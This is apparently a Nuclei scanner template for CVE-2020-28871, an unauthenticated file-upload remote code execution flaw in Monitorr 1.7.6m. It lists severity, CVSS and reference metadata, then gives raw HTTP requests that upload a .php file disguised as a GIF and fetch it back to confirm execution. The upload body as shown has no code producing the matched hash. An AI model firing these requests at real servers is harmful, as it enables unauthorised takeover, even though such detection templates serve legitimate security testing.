id: CVE-2020-28871 info: name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution author: gy741 severity: critical description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr. remediation: | Upgrade to a patched version of Monitorr or apply the necessary security patches. reference: - https://www.exploit-db.com/exploits/48980 - https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/ - https://nvd.nist.gov/vuln/detail/CVE-2020-28871 - http://packetstormsecurity.com/files/163263/Monitorr-1.7.6m-Bypass-Information-Disclosure-Shell-Upload.html - http://packetstormsecurity.com/files/170974/Monitorr-1.7.6-Shell-Upload.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-28871 cwe-id: CWE-434 epss-score: 0.96996 epss-percentile: 0.99673 cpe: cpe:2.3:a:monitorr_project:monitorr:1.7.6m:*:*:*:*:*:*:* metadata: max-request: 2 vendor: monitorr_project product: monitorr tags: unauth,cve,fileupload,monitor,edb,intrusive,packetstorm,cve2020,rce http: - raw: - | POST /assets/php/upload.php HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: text/plain, */*; q=0.01 Connection: close Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745 Origin: http://{{Hostname}} Referer: http://{{Hostname}} -----------------------------31046105003900160576454225745 Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php" Content-Type: image/gif GIF89a213213123 -----------------------------31046105003900160576454225745-- - | GET /assets/data/usrimg/{{tolower("{{randstr}}.php")}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_2 words: - "d03c180355b797069cc047ff5606d689" - type: status status: - 200 # digest: 4a0a004730450221008e0c1565f9e3281df7f06bc355f20684b112dd63a765861073972a580a2e8b480220628eee3b4682b2111dce18ef59d7fe9c3965b7c652e9b2becd95fbab0f392b68:922c64590222798bb761d5b6d8e72950